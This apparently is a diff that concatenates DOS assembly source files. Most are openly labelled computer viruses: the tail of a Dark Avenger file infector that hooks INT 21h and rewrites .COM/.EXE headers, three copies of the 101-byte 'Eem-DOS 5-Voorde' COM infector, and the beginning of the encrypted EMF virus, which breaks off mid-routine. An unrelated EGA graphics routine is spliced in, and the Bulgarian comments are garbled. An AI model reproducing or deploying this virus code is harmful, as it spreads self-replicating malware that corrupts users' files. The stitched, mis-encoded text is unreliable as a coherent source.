add ax,offset aux_size+200h ;„ ¥ ±² ¥ .COM ´ ©« ¬®£® £®«¿¬
|
||||
adc dx,0
|
||||
je fuck_it
|
||||
ret
|
||||
|
||||
; ˆ§° ¢¿¢ £° ¨¶ ¯ ° £° ´ § .EXE ´ ©«®¢¥²¥. ’®¢ ¥ ¡±®«¾²® ¥³¦®.
|
||||
|
||||
fuck_exe:
|
||||
mov dx,word ptr [top_save+18h]
|
||||
neg dl
|
||||
and dx,0fh
|
||||
xor cx,cx
|
||||
mov ax,4201h
|
||||
int 21h
|
||||
mov word ptr [top_save+18h],ax
|
||||
mov word ptr [top_save+1ah],dx
|
||||
fuck_it:
|
||||
mov ax,5700h ;‡ ¯ §¢ ¥ ¤ ² ² ´ ©«
|
||||
int 21h
|
||||
pushf
|
||||
push cx
|
||||
push dx
|
||||
cmp word ptr [top_save],5a4dh
|
||||
je exe_file ;Œ®£® ³¬®, ¿¬ ¹®
|
||||
mov ax,100h
|
||||
jmp short set_adr
|
||||
exe_file:
|
||||
mov ax,word ptr [top_save+14h]
|
||||
mov dx,word ptr [top_save+16h]
|
||||
set_adr:
|
||||
mov di,offset call_adr
|
||||
stosw
|
||||
mov ax,dx
|
||||
stosw
|
||||
mov ax,word ptr [top_save+10h]
|
||||
stosw
|
||||
mov ax,word ptr [top_save+0eh]
|
||||
stosw
|
||||
mov si,offset top_save ;’®¢ ¤ ¢ ¢º§¬®¦®±² ° §¨ ¢°¥¤¨
|
||||
movsb ;¯°®£° ¬¨ ¤ ¢º§±² ®¢¿² ²®·®
|
||||
movsw ;®°¨£¨ « ² ¤º«¦¨ .EXE ´ ©«
|
||||
xor dx,dx
|
||||
mov cx,offset top_file
|
||||
mov ah,40h
|
||||
int 21h ;‡ ¯¨±¢ ¥ ¯°®£° ¬ ²
|
||||
jc go_no_fuck ;(¥ ²° ±¨° ©²¥ ²³ª)
|
||||
xor cx,ax
|
||||
jnz go_no_fuck
|
||||
mov dx,cx
|
||||
mov ax,4200h
|
||||
int 21h
|
||||
cmp word ptr [top_save],5a4dh
|
||||
je do_exe
|
||||
mov byte ptr [top_save],0e9h
|
||||
mov ax,word ptr [top_save+18h]
|
||||
add ax,startup-copyright-3
|
||||
mov word ptr [top_save+1],ax
|
||||
mov cx,3
|
||||
jmp short write_header
|
||||
go_no_fuck:
|
||||
jmp short no_fuck
|
||||
|
||||
; Š®±²°³¨° ¥ header- .EXE ´ ©«
|
||||
|
||||
do_exe:
|
||||
call mul_hdr
|
||||
not ax
|
||||
not dx
|
||||
inc ax
|
||||
jne calc_offs
|
||||
inc dx
|
||||
calc_offs:
|
||||
add ax,word ptr [top_save+18h]
|
||||
adc dx,word ptr [top_save+1ah]
|
||||
mov cx,10h
|
||||
div cx
|
||||
mov word ptr [top_save+14h],startup-copyright
|
||||
mov word ptr [top_save+16h],ax
|
||||
add ax,(offset top_file-offset copyright-1)/16+1
|
||||
mov word ptr [top_save+0eh],ax
|
||||
mov word ptr [top_save+10h],100h
|
||||
add word ptr [top_save+18h],offset top_file
|
||||
adc word ptr [top_save+1ah],0
|
||||
mov ax,word ptr [top_save+18h]
|
||||
and ax,1ffh
|
||||
mov word ptr [top_save+2],ax
|
||||
pushf
|
||||
mov ax,word ptr [top_save+19h]
|
||||
shr byte ptr [top_save+1bh],1
|
||||
rcr ax,1
|
||||
popf
|
||||
jz update_len
|
||||
inc ax
|
||||
update_len:
|
||||
mov word ptr [top_save+4],ax
|
||||
mov cx,18h
|
||||
write_header:
|
||||
mov dx,offset top_save
|
||||
mov ah,40h
|
||||
int 21h ;‡ ¯¨±¢ ¥ · «®²® ´ ©«
|
||||
no_fuck:
|
||||
pop dx
|
||||
pop cx
|
||||
popf
|
||||
jc stop_fuck
|
||||
mov ax,5701h ;‚º§±² ®¢¿¢ ¥ ®°¨£¨ « ² ¤ ²
|
||||
int 21h
|
||||
stop_fuck:
|
||||
ret
|
||||
|
||||
; ˆ§¯®«§³¢ ±¥ ®² ¯®¤¯°®£° ¬¨²¥ § ®¡° ¡®²ª INT 21h ¨ INT 27h ¢º¢ ¢°º§ª
|
||||
; ±º± ±ª°¨¢ ¥²® ¯°®£° ¬ ² ¢ ¯ ¬¥²² ®² µ®° , ª®¨²® ¿¬ ³¦¤ ¤ ¿
|
||||
; ¢¨¦¤ ². –¿« ² ² §¨ ±¨±²¥¬ ¥ ¡±³°¤ ¨ £«³¯ ¢ ¨ ¥ ®¹¥ ¥¤¨ ¨§²®·¨ª
|
||||
; ª®´«¨ª²¨ ±¨²³ ¶¨¨.
|
||||
|
||||
alloc:
|
||||
push ds
|
||||
call get_chain
|
||||
mov byte ptr ds:[0],'M'
|
||||
pop ds
|
||||
|
||||
; ޱ¨£³°¿¢ ®±² ¢ ¥²® ¯°®£° ¬ ² ¢º°µ ¢¥°¨£ ² ¯°®¶¥±¨,
|
||||
; ¯°¥µ¢ «¨ INT 21h (¥²® ®¹¥ ¥¤¨ ¨§²®·¨ª ª®´«¨ª²¨).
|
||||
|
||||
ontop:
|
||||
push ds
|
||||
push ax
|
||||
push bx
|
||||
push dx
|
||||
xor bx,bx
|
||||
mov ds,bx
|
||||
lds dx,ds:[21h*4]
|
||||
cmp dx,offset int_21
|
||||
jne search_segment
|
||||
mov ax,ds
|
||||
mov bx,cs
|
||||
cmp ax,bx
|
||||
je test_complete
|
||||
|
||||
; �°¥²º°±¢ ±¥£¬¥² ²° ¯¨ª ¯°¥µ¢ « INT 21h, § ¤ ¬¥°¨ ªº¤¥ ²®©
|
||||
; ¥ § ¯ §¨« ±² ° ² ±²®©®±² ¨ ¤ ¿ ¯®¤¬¥¨. ‡ INT 27h ¥ ±¥ ¯° ¢¨ ¨¹®.
|
||||
|
||||
xor bx,bx
|
||||
search_segment:
|
||||
mov ax,[bx]
|
||||
cmp ax,offset int_21
|
||||
jne search_next
|
||||
mov ax,cs
|
||||
cmp ax,[bx+2]
|
||||
je got_him
|
||||
search_next:
|
||||
inc bx
|
||||
jne search_segment
|
||||
je return_control
|
||||
got_him:
|
||||
mov ax,word ptr cs:[save_int_21]
|
||||
mov [bx],ax
|
||||
mov ax,word ptr cs:[save_int_21+2]
|
||||
mov [bx+2],ax
|
||||
mov word ptr cs:[save_int_21],dx
|
||||
mov word ptr cs:[save_int_21+2],ds
|
||||
xor bx,bx
|
||||
|
||||
; ˆ ¤ ¥ £® ¯ §¨ ¢ ±º¹¨¿ ±¥£¬¥², ²®¢ ¢±¥ ¥¤® ¿¬ ¤ ¬³ ¯®¬®£¥
|
||||
|
||||
return_control:
|
||||
mov ds,bx
|
||||
mov ds:[21h*4],offset int_21
|
||||
mov ds:[21h*4+2],cs
|
||||
test_complete:
|
||||
pop dx
|
||||
pop bx
|
||||
pop ax
|
||||
pop ds
|
||||
ret
|
||||
|
||||
; � ¬¨° ¥ ±¥£¬¥² ¯®±«¥¤¨¿ MCB
|
||||
|
||||
get_chain:
|
||||
push ax
|
||||
push bx
|
||||
mov ah,62h
|
||||
call function
|
||||
mov ax,cs
|
||||
dec ax
|
||||
dec bx
|
||||
next_blk:
|
||||
mov ds,bx
|
||||
stc
|
||||
adc bx,ds:[3]
|
||||
cmp bx,ax
|
||||
jc next_blk
|
||||
pop bx
|
||||
pop ax
|
||||
ret
|
||||
|
||||
; “¬®¦¥¨¥ ¯® 16
|
||||
|
||||
mul_hdr:
|
||||
mov ax,word ptr [top_save+8]
|
||||
mul_16:
|
||||
mov dx,10h
|
||||
mul dx
|
||||
ret
|
||||
|
||||
db 'This program was written in the city of Sofia '
|
||||
db '(C) 1988-89 Dark Avenger',0
|
||||
|
||||
; Ž¡° ¡®²ª INT 13h.
|
||||
; ˆ§¢¨ª¢ ®°¨£¨ «¨²¥ ¢¥ª²®°¨ ¢ BIOS, ª® ±² ¢ ¤³¬ § § ¯¨±.
|
||||
|
||||
int_13:
|
||||
cmp ah,3
|
||||
jnz subfn_ok
|
||||
cmp dl,80h
|
||||
jnc hdisk
|
||||
db 0eah ;JMP XXXX:YYYY
|
||||
my_size: ;--- „®²³ª ±¥ ±° ¢¿¢ ± ®°¨£¨ «
|
||||
disk:
|
||||
dd 0
|
||||
hdisk:
|
||||
db 0eah ;JMP XXXX:YYYY
|
||||
fdisk:
|
||||
dd 0
|
||||
subfn_ok:
|
||||
db 0eah ;JMP XXXX:YYYY
|
||||
save_int_13:
|
||||
dd 0
|
||||
call_adr:
|
||||
dd 100h
|
||||
|
||||
stack_pointer:
|
||||
dd 0 ;ް¨£¨ « ±²®©®±² SS:SP
|
||||
my_save:
|
||||
int 20h ;ް¨£¨ «® ±º¤º°¦ ¨¥ ¯º°¢¨²¥
|
||||
nop ;3 ¡ ©² ®² ´ ©«
|
||||
top_file: ;--- „®²³ª ±¥ § ¯¨±¢ ¢º¢ ´ ©«®¢¥²¥
|
||||
filehndl equ $
|
||||
filename equ filehndl+2 ;�³´¥° § ¨¬¥ ²¥ª³¹® ®²¢®°¥¨¿ ´ ©«
|
||||
save_int_27 equ filename+65 ;ް¨£¨ « ±²®©®±² INT 27h
|
||||
save_int_21 equ save_int_27+4 ;ް¨£¨ « ±²®©®±² INT 21h
|
||||
aux_size equ save_int_21+4 ;--- „®²³ª ±¥ ¯°¥¬¥±²¢ ¢ ¯ ¬¥²²
|
||||
top_save equ save_int_21+4 ;� · «® ¡³´¥° , ±º¤º°¦ ¹:
|
||||
; - �º°¢¨²¥ 24 ¡ ©² ¯°®·¥²¥¨ ®² ´ ©«
|
||||
; - „º«¦¨ ² ´ ©« (4 ¡ ©² )
|
||||
; - �®±«¥¤¨²¥ ¡ ©²®¢¥ ®² ´ ©«
|
||||
; (± ¤º«¦¨ my_size)
|
||||
top_bz equ top_save-copyright
|
||||
my_bz equ my_size-copyright
|
||||
code ends
|
||||
end
|
||||
|
||||
@@ -0,0 +1,121 @@
|
||||
; The Eem-DOS 5-Voorde Virus version 2.0
|
||||
;
|
||||
; Smallest (101 bytes) COM file infector which works with te folowing
|
||||
; principe:
|
||||
;
|
||||
; Before:
|
||||
; _____________________ ____________
|
||||
; [first 3 bytes of file][rest of file]
|
||||
;
|
||||
; After:
|
||||
; ____________ ____________ _____ _____________________
|
||||
; [jmp to virus][rest of file][virus][first 3 bytes of file]
|
||||
;
|
||||
; This way the virus can restore the first 3 bytes of the file so
|
||||
; the file will still work.
|
||||
;
|
||||
; If you want no registers to change you can add some pushes, but
|
||||
; it'll make the virus much larger.....
|
||||
;
|
||||
; (C)1993 by [DàRkRàY] / TridenT
|
||||
;
|
||||
; BTW This is only a educational source, and this virus should not be
|
||||
; spread, you may publish this file in it's original form.
|
||||
; If you intend to spread this virus you will take all the responsibilities
|
||||
; on youself so the author will not get into trubble.
|
||||
; If you do not agree with this, destroy this file now.
|
||||
;
|
||||
_CODE SEGMENT
|
||||
ASSUME CS:_CODE
|
||||
|
||||
ORG 100h
|
||||
|
||||
LEN EQU THE_END - VX ; This bab's length
|
||||
|
||||
START:
|
||||
DB 0E9h,0,0 ; Jump te virus. (carrier
|
||||
; program)
|
||||
VX:
|
||||
mov si,100H
|
||||
PUSH SI ; Put 100h in DI and save
|
||||
PUSH SI ; it as return point.
|
||||
POP DI ;
|
||||
|
||||
CALL RELATIVE ;
|
||||
RELATIVE: ; Calculate where the old 3
|
||||
POP SI ; bytes are stored.
|
||||
ADD SI,(OLD_BYTES - RELATIVE) ;
|
||||
|
||||
PUSH SI ; Save it for later.
|
||||
|
||||
; MOV CL,3 ; Restore the first 3 bytes.
|
||||
; REP MOVSB ;
|
||||
xor cl,cl
|
||||
movsw
|
||||
movsb
|
||||
|
||||
MOV DX,SI ; Set DX to file spec.
|
||||
|
||||
POP SI ; Restore SI
|
||||
|
||||
DEC AX ;
|
||||
AGAIN: ADD AH,4Fh ; Search for (next) file
|
||||
INT 21h ; and exit if non found.
|
||||
JC EXIT ;
|
||||
|
||||
MOV DI,SI ; Put SI in DI
|
||||
|
||||
MOV AH,3Eh ; Close open file. (also
|
||||
CALL OPEN ; nice anti-debug trick!)
|
||||
|
||||
MOV AH,3Fh ; Read first 3 bytes.
|
||||
CALL IO ;
|
||||
|
||||
CMP BYTE PTR [DI],0E9h ; Next file if first instr.
|
||||
JE AGAIN ; is a JMP FAR. (marker)
|
||||
|
||||
MOV AX,4202h ;
|
||||
XOR CX,CX ; Goto EOF.
|
||||
CWD ;
|
||||
INT 21h ;
|
||||
|
||||
SUB AX,3 ;
|
||||
ADD DI,8 ; Set JMP to virus.
|
||||
MOV WORD PTR DS:[DI],AX ;
|
||||
|
||||
MOV AH,40h ;
|
||||
MOV CL,LEN ; Write virus and open
|
||||
MOV DX,DI ; file again.
|
||||
SUB DX,(OLD_BYTES - VX) + 8 ;
|
||||
CALL OPEN ;
|
||||
|
||||
DEC DI ; Write JMP
|
||||
MOV AH,40h ;
|
||||
IO:
|
||||
MOV CL,3 ;
|
||||
MOV DX,DI ; Read or write 3 bytes.
|
||||
INT 21h ;
|
||||
EXIT:
|
||||
RET ; Start carrier program.
|
||||
|
||||
OPEN:
|
||||
INT 21h ;
|
||||
MOV AX,3D02h ;
|
||||
MOV DX,9Eh ; Open file.
|
||||
INT 21h ;
|
||||
XCHG BX,AX ;
|
||||
RET
|
||||
|
||||
OLD_BYTES: NOP ;
|
||||
NOP ; First 3 bytes of carrier
|
||||
RET ; program.
|
||||
|
||||
FILE_NAME: DB '*.*',0h ; File to search for (all)
|
||||
|
||||
NEW_BYTES DB 0E9h ; JMP to virus buffer.
|
||||
|
||||
THE_END:
|
||||
|
||||
_CODE ENDS
|
||||
END START
|
||||
|
||||
@@ -0,0 +1,123 @@
|
||||
; The Eem-DOS 5-Voorde Virus
|
||||
;
|
||||
; Smallest COM file infector which works with te folowing principe:
|
||||
;
|
||||
; Before:
|
||||
; _____________________ ____________
|
||||
; [first 3 bytes of file][rest of file]
|
||||
;
|
||||
; After:
|
||||
; ____________ ___________________ _____________________
|
||||
; [jmp to virus][rest of file][virus][first 3 bytes of file]
|
||||
;
|
||||
; This way the virus can restore the first 3 bytes of the file so
|
||||
; the file will still work.
|
||||
;
|
||||
; If you want no registers to change you can add some pushes, but
|
||||
; it'll make the virus much larger.....
|
||||
;
|
||||
; (C)1993 by [DàRkRàY] / TridenT
|
||||
;
|
||||
; BTW This is only a educational source, and this virus should not be
|
||||
; spread, you may publish this file in it's original form.
|
||||
; If you intend to spread this virus you will take all the responsibilities
|
||||
; on youself so the author will not get into trubble.
|
||||
; If you do not agree with this, destroy this file now.
|
||||
;
|
||||
; You can reach me by contacting Byte Hunter. at Hunter BBS (he's the sysop)
|
||||
; +31-33-634415, and he'll get you in touch with me...
|
||||
;
|
||||
|
||||
_CODE SEGMENT
|
||||
ASSUME CS:_CODE
|
||||
|
||||
ORG 100h
|
||||
|
||||
LEN EQU THE_END - VX ; Length of this babe...
|
||||
|
||||
START:
|
||||
DB 0E9h,0,0 ; Jmp to virus
|
||||
VX:
|
||||
CALL RELATIVE ;
|
||||
RELATIVE: ; Calculate relative offset
|
||||
POP BP ;
|
||||
SUB BP,OFFSET RELATIVE ;
|
||||
|
||||
MOV DI,SI ; Make DI = 100h and save
|
||||
PUSH DI ; it as return point.
|
||||
|
||||
LEA SI,[BP + OLD_BYTES] ;
|
||||
MOV CL,3 ; Restore old first bytes.
|
||||
REP MOVSB ;
|
||||
|
||||
MOV DX,SI ; Set DX to filespec.
|
||||
DEC AX ; Make AX=-1
|
||||
|
||||
AGAIN: ADD AH,4Fh ;
|
||||
INT 21h ; Search for file(s)
|
||||
JNC OK_1 ; If non left exit.
|
||||
RET ;
|
||||
OK_1:
|
||||
MOV AH,3Eh ; Close old file, also nice
|
||||
INT 21h ; anti-debug trick!!!!
|
||||
|
||||
MOV DI,SI ; Set DI to save old bytes
|
||||
SUB DI,3 ;
|
||||
|
||||
CALL OPEN ; Open the victim
|
||||
|
||||
MOV AH,3Fh ; Save first 3 bytes
|
||||
CALL IO ;
|
||||
|
||||
CMP BYTE PTR [DI],0E9h ; Is it allready infected?
|
||||
JE AGAIN ; If so, find next
|
||||
|
||||
MOV AX,4202h ;
|
||||
XOR CX,CX ; Set pointer to end of file
|
||||
CWD ;
|
||||
INT 21h ;
|
||||
|
||||
SUB AX,3 ;
|
||||
ADD DI,8 ; Set jump to virus
|
||||
MOV WORD PTR DS:[DI],AX ;
|
||||
|
||||
MOV AH,40h ;
|
||||
MOV CL,LEN ; Write virus
|
||||
LEA DX,[BP + VX] ;
|
||||
INT 21h ;
|
||||
|
||||
CALL OPEN ; Open victim again
|
||||
|
||||
MOV AH,40h ;
|
||||
DEC DI ; Write jmp to virus
|
||||
CALL IO ;
|
||||
|
||||
RET ; Return to DOS
|
||||
|
||||
IO:
|
||||
MOV CL,3 ;
|
||||
MOV DX,DI ; Read or write sub
|
||||
INT 21h ;
|
||||
RET ;
|
||||
|
||||
OPEN:
|
||||
MOV AX,3D02h ;
|
||||
MOV DX,9Eh ; Open file in PSP for
|
||||
INT 21h ; reading/writing
|
||||
XCHG BX,AX ;
|
||||
RET ;
|
||||
|
||||
OLD_BYTES: NOP ;
|
||||
NOP ; Old first bytes of file
|
||||
RET ;
|
||||
|
||||
FILE_NAME: DB '*.*',0h ; Infect all files.
|
||||
; (and COM files will also
|
||||
; be infected....)
|
||||
|
||||
NEW_BYTES DB 0E9h ; Jmp to virus
|
||||
|
||||
THE_END: ; Bye Bye!
|
||||
|
||||
_CODE ENDS
|
||||
END START
|
||||
@@ -0,0 +1,117 @@
|
||||
; The Eem-DOS 5-Voorde Virus version 2.0
|
||||
;
|
||||
; Smallest (101 bytes) COM file infector which works with te folowing
|
||||
; principe:
|
||||
;
|
||||
; Before:
|
||||
; _____________________ ____________
|
||||
; [first 3 bytes of file][rest of file]
|
||||
;
|
||||
; After:
|
||||
; ____________ ____________ _____ _____________________
|
||||
; [jmp to virus][rest of file][virus][first 3 bytes of file]
|
||||
;
|
||||
; This way the virus can restore the first 3 bytes of the file so
|
||||
; the file will still work.
|
||||
;
|
||||
; If you want no registers to change you can add some pushes, but
|
||||
; it'll make the virus much larger.....
|
||||
;
|
||||
; (C)1993 by [DàRkRàY] / TridenT
|
||||
;
|
||||
; BTW This is only a educational source, and this virus should not be
|
||||
; spread, you may publish this file in it's original form.
|
||||
; If you intend to spread this virus you will take all the responsibilities
|
||||
; on youself so the author will not get into trubble.
|
||||
; If you do not agree with this, destroy this file now.
|
||||
;
|
||||
_CODE SEGMENT
|
||||
ASSUME CS:_CODE
|
||||
|
||||
ORG 100h
|
||||
|
||||
LEN EQU THE_END - VX ; This bab's length
|
||||
|
||||
START:
|
||||
DB 0E9h,0,0 ; Jump te virus. (carrier
|
||||
; program)
|
||||
VX:
|
||||
PUSH SI ; Put 100h in DI and save
|
||||
PUSH SI ; it as return point.
|
||||
POP DI ;
|
||||
|
||||
CALL RELATIVE ;
|
||||
RELATIVE: ; Calculate where the old 3
|
||||
POP SI ; bytes are stored.
|
||||
ADD SI,(OLD_BYTES - RELATIVE) ;
|
||||
|
||||
PUSH SI ; Save it for later.
|
||||
|
||||
MOV CL,3 ; Restore the first 3 bytes.
|
||||
REP MOVSB ;
|
||||
|
||||
MOV DX,SI ; Set DX to file spec.
|
||||
|
||||
POP SI ; Restore SI
|
||||
|
||||
DEC AX ;
|
||||
AGAIN: ADD AH,4Fh ; Search for (next) file
|
||||
INT 21h ; and exit if non found.
|
||||
JC EXIT ;
|
||||
|
||||
MOV DI,SI ; Put SI in DI
|
||||
|
||||
MOV AH,3Eh ; Close open file. (also
|
||||
CALL OPEN ; nice anti-debug trick!)
|
||||
|
||||
MOV AH,3Fh ; Read first 3 bytes.
|
||||
CALL IO ;
|
||||
|
||||
CMP BYTE PTR [DI],0E9h ; Next file if first instr.
|
||||
JE AGAIN ; is a JMP FAR. (marker)
|
||||
|
||||
MOV AX,4202h ;
|
||||
XOR CX,CX ; Goto EOF.
|
||||
CWD ;
|
||||
INT 21h ;
|
||||
|
||||
SUB AX,3 ;
|
||||
ADD DI,8 ; Set JMP to virus.
|
||||
MOV WORD PTR DS:[DI],AX ;
|
||||
|
||||
MOV AH,40h ;
|
||||
MOV CL,LEN ; Write virus and open
|
||||
MOV DX,DI ; file again.
|
||||
SUB DX,(OLD_BYTES - VX) + 8 ;
|
||||
CALL OPEN ;
|
||||
|
||||
DEC DI ; Write JMP
|
||||
MOV AH,40h ;
|
||||
IO:
|
||||
MOV CL,3 ;
|
||||
MOV DX,DI ; Read or write 3 bytes.
|
||||
INT 21h ;
|
||||
EXIT:
|
||||
RET ; Start carrier program.
|
||||
|
||||
OPEN:
|
||||
INT 21h ;
|
||||
MOV AX,3D02h ;
|
||||
MOV DX,9Eh ; Open file.
|
||||
INT 21h ;
|
||||
XCHG BX,AX ;
|
||||
RET
|
||||
|
||||
OLD_BYTES: NOP ;
|
||||
NOP ; First 3 bytes of carrier
|
||||
RET ; program.
|
||||
|
||||
FILE_NAME: DB '*.*',0h ; File to search for (all)
|
||||
|
||||
NEW_BYTES DB 0E9h ; JMP to virus buffer.
|
||||
|
||||
THE_END:
|
||||
|
||||
_CODE ENDS
|
||||
END START
|
||||
|
||||
@@ -0,0 +1,172 @@
|
||||
;
|
||||
; grafix --- egagrafa.asm
|
||||
;
|
||||
; stuff to plot points fast in 8086 assembler (BLEECH!!!)
|
||||
;
|
||||
; Written 4/87 by Scott Snyder (ssnyder@romeo.caltech.edu or @citromeo.bitnet)
|
||||
;
|
||||
; Modified 5/29/87 by sss to allow for different memory models
|
||||
;
|
||||
|
||||
title egagrafa
|
||||
|
||||
include macros.ah
|
||||
|
||||
sseg
|
||||
endss
|
||||
|
||||
g_linsiz equ 80
|
||||
g_pixbyte equ 8
|
||||
ega_gr_data equ 03cfh
|
||||
|
||||
dseg
|
||||
|
||||
ex g_drawbuf, dword
|
||||
ex g_xor, word
|
||||
ex g_xcliplo, word
|
||||
ex g_xcliphi, word
|
||||
ex g_ycliplo, word
|
||||
ex g_ycliphi, word
|
||||
|
||||
endds
|
||||
|
||||
exProc EGA_point_set
|
||||
exProc EGA_point_res
|
||||
|
||||
cseg _egagrafa
|
||||
|
||||
EGA_plot label byte ; to get accurate profiling data
|
||||
|
||||
; plot a point. ax = y; bl = c; cx = x;
|
||||
|
||||
pBegin plot
|
||||
|
||||
les si, g_drawbuf ; get address of buffer
|
||||
mov dx, g_linsiz ; y * g_linsiz
|
||||
mul dx
|
||||
add si, ax ; add to offset
|
||||
mov ax, cx ; x to AC (ohhh... what symmetry!)
|
||||
mov cx, g_pixbyte ; move it to use it...
|
||||
div cx
|
||||
add si, ax ; add quotient to offset (now complete)
|
||||
mov al, 80h ; make mask
|
||||
mov cx, dx
|
||||
shr ax, cl ; shift it
|
||||
mov dx, ega_gr_data ; shove it out to the mask register
|
||||
out dx, al
|
||||
mov al, es:[si] ; read data into latches
|
||||
mov es:[si], al ; and do a write
|
||||
ret
|
||||
|
||||
pEnd plot
|
||||
|
||||
;
|
||||
; C interface for point plotter
|
||||
;
|
||||
; EGA_point(x, y, c)
|
||||
;
|
||||
|
||||
pBegin EGA_point
|
||||
|
||||
push bp
|
||||
mov bp, sp
|
||||
push si
|
||||
push di
|
||||
|
||||
push [bp+argbase+4] ; call setup routine
|
||||
call EGA_point_set
|
||||
add sp, 2
|
||||
|
||||
mov ax, [bp+argbase+2]
|
||||
mov bx, [bp+argbase+4]
|
||||
mov cx, [bp+argbase]
|
||||
call plot
|
||||
|
||||
call EGA_point_res ; reset EGA
|
||||
|
||||
pop di
|
||||
pop si
|
||||
mov sp, bp
|
||||
pop bp
|
||||
ret
|
||||
|
||||
pEnd EGA_point
|
||||
|
||||
;
|
||||
; write for pixels for circle drawing
|
||||
;
|
||||
; void EGA_write_pix(x1, y1, x2, y2, c)
|
||||
;
|
||||
; can just ignore color here 'cause that's all setup at setup time...
|
||||
;
|
||||
|
||||
pBegin EGA_write_pix
|
||||
|
||||
push bp
|
||||
mov bp, sp
|
||||
push si
|
||||
push di
|
||||
|
||||
mov cx, [bp+argbase] ; cx = x1
|
||||
cmp cx, g_xcliplo ; check for clipping
|
||||
jb w2
|
||||
cmp cx, g_xcliphi
|
||||
ja w2
|
||||
|
||||
mov ax, [bp+argbase+2] ; ax = y1
|
||||
cmp ax, g_ycliplo ; do clipping
|
||||
jb w1
|
||||
cmp ax, g_ycliphi
|
||||
ja w1
|
||||
|
||||
push cx ; plot (x1, y1)
|
||||
call plot
|
||||
pop cx
|
||||
|
||||
w1: mov ax, [bp+argbase+6] ; ax = y2
|
||||
cmp ax, g_ycliplo
|
||||
jb w2
|
||||
cmp ax, g_ycliphi
|
||||
ja w2
|
||||
|
||||
call plot ; plot (x1, y2)
|
||||
|
||||
w2: mov cx, [bp+argbase+4] ; cx = x2
|
||||
cmp cx, g_xcliplo
|
||||
jb w4
|
||||
cmp cx, g_xcliphi
|
||||
ja w4
|
||||
|
||||
mov ax, [bp+argbase+2] ; ax = y1
|
||||
cmp ax, g_ycliplo ; do clipping
|
||||
jb w3
|
||||
cmp ax, g_ycliphi
|
||||
ja w3
|
||||
|
||||
push cx ; plot (x2, y1)
|
||||
call plot
|
||||
pop cx
|
||||
|
||||
w3: mov ax, [bp+argbase+6] ; ax = y2
|
||||
cmp ax, g_ycliplo
|
||||
jb w4
|
||||
cmp ax, g_ycliphi
|
||||
ja w4
|
||||
|
||||
call plot ; plot (x2, y2)
|
||||
|
||||
w4: pop di
|
||||
pop si
|
||||
mov sp, bp
|
||||
pop bp
|
||||
ret
|
||||
|
||||
pEnd EGA_write_pix
|
||||
|
||||
df_ EGA_point
|
||||
df_ EGA_write_pix
|
||||
df_ EGA_plot
|
||||
|
||||
endcs _egagrafa
|
||||
|
||||
end
|
||||
@@ -0,0 +1,271 @@
|
||||
|
||||
DATA SEGMENT
|
||||
ORG 100H
|
||||
DATA ENDS
|
||||
|
||||
; The EMF virus (c)1991 by Lazarus Long, Inc.
|
||||
; The author assumes no responsibility for any damage incurred
|
||||
; from the execution of this file, intentional or not
|
||||
;
|
||||
|
||||
|
||||
START:
|
||||
JMP VIRUS_START
|
||||
|
||||
ENCRYPT_BYTE DB 00H ;Storage space for byte that ID string is
|
||||
;Encrypted by
|
||||
|
||||
;------------------------------------------------------------------------------;
|
||||
;The code from here to ENC_START is always unencrypted and SCAN would be able ;
|
||||
;to find it. Maybe a quick look at V2P7 would be in order (Hint,Hint!) ;
|
||||
;------------------------------------------------------------------------------;
|
||||
|
||||
VIRUS_START:
|
||||
CALL NEXT_STEP
|
||||
NEXT_STEP:
|
||||
POP BP ;All actions relative to BP,
|
||||
|
||||
IN AL,21H ;Lock out keyboard
|
||||
PUSH AX
|
||||
OR AL,2
|
||||
OUT 21H,AL
|
||||
|
||||
|
||||
MOV CX,ENC_LENGTH ;Number of bytes to decrypt ;cause offsets
|
||||
|
||||
LEA SI,[BP+OFFSET ENC_START-NEXT_STEP] ;Offset of data to decrypt ;change in infected files
|
||||
MOV DL,[103H] ;Byte to decrypt with
|
||||
|
||||
CALL CRYPT ;Decrypt main body of virus
|
||||
CALL RESTORE_EIGHT
|
||||
JMP SAVE_PSP ;Continue
|
||||
|
||||
INFECT:
|
||||
CALL CRYPT_WRITE
|
||||
MOV AH,40H
|
||||
MOV DX,BP ;Starting from BP-3
|
||||
SUB DX,3 ;Which,convienently,is the start
|
||||
MOV CX,ENC_END-108H ;of our viral code
|
||||
INT 21H ;Write all of virus
|
||||
CALL CRYPT_WRITE ;Return and continue
|
||||
RET
|
||||
|
||||
CRYPT_WRITE:
|
||||
|
||||
MOV CX,ENC_LENGTH ;Number of bytes to decrypt
|
||||
LEA SI,[BP+ OFFSET ENC_START - NEXT_STEP] ;Address to start decryption
|
||||
MOV DL,[0FBH] ;Byte to decrypt with
|
||||
CALL CRYPT
|
||||
RET
|
||||
|
||||
;******************************************************************************;
|
||||
;Call this with SI equal to address to XOR,and CX number of bytes to XOR :
|
||||
; ;
|
||||
;******************************************************************************;
|
||||
CRYPT:
|
||||
XOR BYTE PTR [SI],DL ;XOR it
|
||||
INC SI ;Increment XOR address
|
||||
INC DL ;Change encryption key,eh?
|
||||
NOT DL ;Reverse the key
|
||||
LOOP CRYPT ;Until CX=0
|
||||
RET ;Then return
|
||||
|
||||
;******************************************************************************;
|
||||
; Save PSP ;
|
||||
;******************************************************************************;
|
||||
|
||||
ENC_START EQU $
|
||||
SAVE_PSP:
|
||||
MOV AH,30H ;Get DOS version
|
||||
INT 21H
|
||||
CMP AL,2 ;Lower than 2?
|
||||
JNB ABOVE_2 ;No,continue
|
||||
CALL RESTORE_EIGHT
|
||||
MOV SI,100H ;If so return
|
||||
PUSH SI
|
||||
RET 0FFFFH
|
||||
|
||||
ABOVE_2:
|
||||
PUSH ES ;Save ES
|
||||
MOV AX,3524H ;Get INT 24 address
|
||||
INT 21H
|
||||
MOV [BP+OLD_B-NEXT_STEP],BX ;Save it
|
||||
MOV [BP+OLD_E-NEXT_STEP],ES
|
||||
MOV AH,25H ;Now set it to our own code
|
||||
LEA DX,[BP+NEW_24-NEXT_STEP]
|
||||
INT 21H
|
||||
POP ES ;Restore ES
|
||||
|
||||
MOV CX,128 ;Number of bytes to save
|
||||
MOV SI,80H ;From 80H. ie the PSP
|
||||
LEA DI,[BP+ENC_END-NEXT_STEP] ;To the end of our code
|
||||
PUSH DI ;Save location so we can restore the bytes
|
||||
REP MOVSB ;Mov'em
|
||||
|
||||
;------------------------------------------------------------------------------; ;
|
||||
; Find first .COM file that is either Hidden,read-only,system,or archive ;
|
||||
;------------------------------------------------------------------------------;
|
||||
|
||||
|
||||
FIND_FIRST:
|
||||
|
||||
LEA DX,[BP+WILD_CARD-NEXT_STEP] ;Offset of *.COM,00
|
||||
MOV CX,27H ;Find ANY file that fits *.COM
|
||||
